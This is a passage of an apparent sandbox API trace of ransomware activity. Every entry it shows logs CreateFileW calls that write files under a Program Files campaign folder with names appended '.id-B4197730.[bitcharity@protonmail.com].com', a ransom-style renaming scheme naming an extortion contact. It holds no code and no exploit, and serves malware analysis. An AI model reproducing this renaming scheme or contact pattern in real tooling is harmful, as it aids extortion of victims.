liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.009] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.009] CloseHandle (hObject=0x115c) returned 1 [0277.012] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.012] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.012] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.012] CloseHandle (hObject=0x115c) returned 1 [0277.013] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.013] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.013] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.013] CloseHandle (hObject=0x115c) returned 1 [0277.013] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.013] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.014] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.014] CloseHandle (hObject=0x115c) returned 1 [0277.014] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.014] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.014] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.014] CloseHandle (hObject=0x115c) returned 1 [0277.671] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.671] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.671] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.671] CloseHandle (hObject=0x11c0) returned 1 [0277.675] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.675] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.675] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.675] CloseHandle (hObject=0x11c0) returned 1 [0277.676] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.676] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.676] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.676] CloseHandle (hObject=0x11c0) returned 1 [0277.677] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.677] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.677] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.677] CloseHandle (hObject=0x11c0) returned 1 [0277.678] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.678] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.678] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\pt-pt\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.678] CloseHandle (hObject=0x11c0) returned 1 [0277.681] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.681] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.681] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\20170517_Lock_200.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\20170517_lock_200.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.681] CloseHandle (hObject=0x11c0) returned 1 [0277.682] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.682] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.682] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0000_Hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0000_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.683] CloseHandle (hObject=0x11c0) returned 1 [0277.683] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.683] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.683] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Back_0001_Static.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\back_0001_static.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.684] CloseHandle (hObject=0x11c0) returned 1 [0277.685] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.685] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.685] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Lock-Confirmation-page-350.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\lock-confirmation-page-350.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.685] CloseHandle (hObject=0x11c0) returned 1 [0277.686] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.686] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.686] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\picture2_80.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.686] CloseHandle (hObject=0x11c0) returned 1 [0277.688] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.688] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.688] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style.min.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.688] CloseHandle (hObject=0x11c0) returned 1 [0277.689] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.689] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.689] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_ltr.min.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.689] CloseHandle (hObject=0x11c0) returned 1 [0277.690] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.690] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.690] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_rtl.min.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.690] CloseHandle (hObject=0x11c0) returned 1 [0277.691] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.691] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.691] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\win10_brand.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.691] CloseHandle (hObject=0x11c0) returned 1 [0277.692] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.692] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.692] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\WindowsUpdatePrivacySetting.scale-200.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\windowsupdateprivacysetting.scale-200.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.692] CloseHandle (hObject=0x11c0) returned 1 [0277.695] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.695] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.695] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.695] CloseHandle (hObject=0x11c0) returned 1 [0277.696] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.696] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.696] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.696] CloseHandle (hObject=0x11c0) returned 1 [0277.696] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.697] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.697] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.697] CloseHandle (hObject=0x11c0) returned 1 [0277.697] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.697] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.698] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.698] CloseHandle (hObject=0x11c0) returned 1 [0277.700] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.700] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.700] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.700] CloseHandle (hObject=0x11c0) returned 1 [0277.703] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.703] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.703] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.703] CloseHandle (hObject=0x11c0) returned 1 [0277.705] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.705] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.705] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.705] CloseHandle (hObject=0x11c8) returned 1 [0277.705] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.705] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.706] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.706] CloseHandle (hObject=0x11c8) returned 1 [0277.708] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.708] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, 